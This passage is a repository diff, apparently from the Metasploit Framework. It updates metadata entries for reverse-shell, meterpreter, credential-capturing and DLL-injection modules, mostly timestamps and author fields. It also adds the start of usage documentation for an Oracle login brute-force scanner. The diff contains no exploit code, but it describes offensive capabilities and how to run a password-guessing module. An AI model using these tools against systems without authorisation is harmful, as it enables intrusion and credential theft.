"fullname": "payload/cmd/unix/reverse_ssh",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan <rageltman@sempervictus>",
|
||||
"hirura"
|
||||
],
|
||||
"description": "Connect back and create a command shell via SSH",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-02-18 15:21:46 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ssh",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/unix/reverse_ssl_double_telnet": {
|
||||
"name": "Unix Command Shell, Double Reverse TCP SSL (telnet)",
|
||||
"fullname": "payload/cmd/unix/reverse_ssl_double_telnet",
|
||||
@@ -145629,7 +146293,7 @@
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"hdm <x@hdm.io>",
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option",
|
||||
"references": [
|
||||
@@ -145641,7 +146305,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-10-13 17:04:00 +0000",
|
||||
"mod_time": "2020-02-21 09:17:51 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ssl_double_telnet",
|
||||
@@ -146147,7 +146811,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-23 19:23:02 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/reverse_powershell",
|
||||
@@ -146822,7 +147486,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_http",
|
||||
@@ -146857,7 +147521,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_https",
|
||||
@@ -146892,7 +147556,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -146993,7 +147657,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_http",
|
||||
@@ -147028,7 +147692,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_https",
|
||||
@@ -147063,7 +147727,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
|
||||
@@ -147266,7 +147930,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_http",
|
||||
@@ -147301,7 +147965,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_https",
|
||||
@@ -147336,7 +148000,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_tcp",
|
||||
@@ -147505,7 +148169,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_http",
|
||||
@@ -147540,7 +148204,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_https",
|
||||
@@ -147575,7 +148239,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
|
||||
@@ -147679,7 +148343,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
|
||||
@@ -147714,7 +148378,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
|
||||
@@ -147749,7 +148413,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
|
||||
@@ -147991,7 +148655,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_http",
|
||||
@@ -148026,7 +148690,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_https",
|
||||
@@ -148061,7 +148725,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
|
||||
@@ -148234,7 +148898,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_http",
|
||||
@@ -148269,7 +148933,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_https",
|
||||
@@ -148304,7 +148968,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
|
||||
@@ -148537,7 +149201,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
|
||||
@@ -148572,7 +149236,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
|
||||
@@ -148607,7 +149271,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
|
||||
@@ -148642,7 +149306,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
|
||||
@@ -148677,7 +149341,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
|
||||
@@ -148712,7 +149376,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
|
||||
@@ -148849,7 +149513,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_http",
|
||||
@@ -148884,7 +149548,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_https",
|
||||
@@ -148919,7 +149583,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_tcp",
|
||||
@@ -149736,7 +150400,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_http",
|
||||
@@ -149771,7 +150435,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_https",
|
||||
@@ -149806,7 +150470,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_tcp",
|
||||
@@ -150517,7 +151181,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_http",
|
||||
@@ -150552,7 +151216,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_https",
|
||||
@@ -150587,7 +151251,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
|
||||
@@ -151427,7 +152091,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-31 09:32:44 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_http",
|
||||
@@ -151462,7 +152126,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-31 09:32:44 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_https",
|
||||
@@ -151497,7 +152161,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-31 09:32:44 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_tcp",
|
||||
@@ -153082,7 +153746,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.",
|
||||
"references": [
|
||||
@@ -153094,7 +153758,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/shell_reverse_tcp_ssl",
|
||||
@@ -153148,7 +153812,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Continually listen for a connection and spawn a command shell via R",
|
||||
"references": [
|
||||
@@ -153160,7 +153824,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-08-28 05:30:30 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/r/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "r/shell_bind_tcp",
|
||||
@@ -153181,7 +153845,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Connect back and create a command shell via R",
|
||||
"references": [
|
||||
@@ -153193,7 +153857,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-08-28 05:30:30 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/r/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "r/shell_reverse_tcp",
|
||||
@@ -153382,7 +154046,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Connect back and create a command shell via Ruby, uses SSL",
|
||||
"references": [
|
||||
@@ -153394,7 +154058,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ruby/shell_reverse_tcp_ssl",
|
||||
@@ -157430,7 +158094,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-08-02 15:47:36 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/payloads/singles/windows/pingback_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/pingback_reverse_tcp",
|
||||
@@ -171138,7 +171802,7 @@
|
||||
],
|
||||
"description": "This module modifies a remote .docx file that will, upon opening, submit\n stored netNTLM credentials to a remote host. Verified to work with Microsoft\n Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.",
|
||||
"references": [
|
||||
"URL-http://jedicorp.com/?p=534"
|
||||
"URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -171146,7 +171810,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-24 18:17:06 +0000",
|
||||
"path": "/modules/post/windows/gather/word_unc_injector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/word_unc_injector",
|
||||
@@ -171332,7 +171996,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module will download a file by importing urlmon via railgun.\n The user may also choose to execute the file with arguments via exec_string.",
|
||||
"references": [
|
||||
@@ -171344,7 +172008,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/post/windows/manage/download_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/download_exec",
|
||||
@@ -171465,7 +172129,7 @@
|
||||
"type": "post",
|
||||
"author": [
|
||||
"Nicholas Nam (nick <Nicholas Nam (nick@executionflow.org)>",
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module will execute a powershell script in a meterpreter session.\n The user may also enter text substitutions to be made in memory before execution.\n Setting VERBOSE to true will output both the script prior to execution and the results.",
|
||||
"references": [
|
||||
@@ -171477,7 +172141,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/post/windows/manage/exec_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/exec_powershell",
|
||||
@@ -172002,7 +172666,7 @@
|
||||
"type": "post",
|
||||
"author": [
|
||||
"Nicholas Nam (nick <Nicholas Nam (nick@executionflow.org)>",
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module will download and execute a PowerShell script over a meterpreter session.\n The user may also enter text substitutions to be made in memory before execution.\n Setting VERBOSE to true will output both the script prior to execution and the results.",
|
||||
"references": [
|
||||
@@ -172014,7 +172678,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/post/windows/manage/powershell/exec_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/powershell/exec_powershell",
|
||||
@@ -172169,9 +172833,10 @@
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"Ben Campbell <eat_meatballs@hotmail.co.uk>"
|
||||
"Ben Campbell <eat_meatballs@hotmail.co.uk>",
|
||||
"b4rtik"
|
||||
],
|
||||
"description": "This module will inject into the memory of a process a specified Reflective DLL.",
|
||||
"description": "This module will inject a specified reflective DLL into the memory of a\n process, new or existing. If arguments are specified, they are passed to\n the DllMain entry point as the lpvReserved (3rd) parameter. To read\n output from the injected process, set PID to zero and WAIT to non-zero.\n Make sure the architecture of the DLL matches the target process.",
|
||||
"references": [
|
||||
"URL-https://github.com/stephenfewer/ReflectiveDLLInjection"
|
||||
],
|
||||
@@ -172181,7 +172846,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-26 11:31:34 +0000",
|
||||
"path": "/modules/post/windows/manage/reflective_dll_inject.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/reflective_dll_inject",
|
||||
@@ -172512,7 +173177,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-02-05 16:21:38 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/post/windows/manage/sshkey_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/sshkey_persistence",
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to authenticate against an Oracle RDBMS instance using username and password
|
||||
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. The default wordlist
|
||||
is [oracle_default_userpass.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/oracle_default_userpass.txt).
|
||||
|
||||
Default port for SQL*Net listener is 1521/tcp. If this port is open, try this module to login.
|
||||
|
||||
### Install
|
||||
|
||||
This module needs nmap 5.50 or above to function. However due to an [nmap bug](https://github.com/nmap/nmap/issues/1475) versions
|
||||
6.50-7.80 may not work.
|
||||
|
||||
```
|
||||
nmap -V
|
||||
apt-get install nmap
|
||||
```
|
||||
|
||||
In addition, if you encounter errors due to OCI libraries not being found, please see the
|
||||
[How to get Oracle Support working with Kali Linux](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-Oracle-Support-working-with-Kali-Linux).
|
||||
|
||||
For Oracle Server, please follow the following
|
||||
[guide](https://tutorialforlinux.com/2019/09/17/how-to-install-oracle-12c-r2-database-on-ubuntu-18-04-bionic-64-bit-easy-guide/).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Oracle Database server and metasploit components
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/oracle/oracle_login```
|
||||
4. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**BLANK_PASSWORDS**
|
||||
|
||||
Try blank passwords for all users
|
||||
|
||||
**BRUTEFORCE_SPEED**
|
||||
|
||||
How fast to bruteforce, scale of 0 to 5
|
||||
|
||||
**DB_ALL_CREDS**
|
||||
|
||||
Try each user/password couple stored in the current database
|
||||
|
||||
**DB_ALL_PASS**
|
||||
|
||||
Add all passwords in the current database to the list to try
|
||||
|
||||
**DB_ALL_USERS**
|
||||
|
||||
Add all users in the current database to the list to try
|
||||
|
||||
**NMAP_VERBOSE**
|
||||
|
||||
Display nmap output
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Specify one password to use for all usernames
|
||||
|
||||
**PASS_FILE**
|
||||
|
||||
File of passwords, one per line.
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
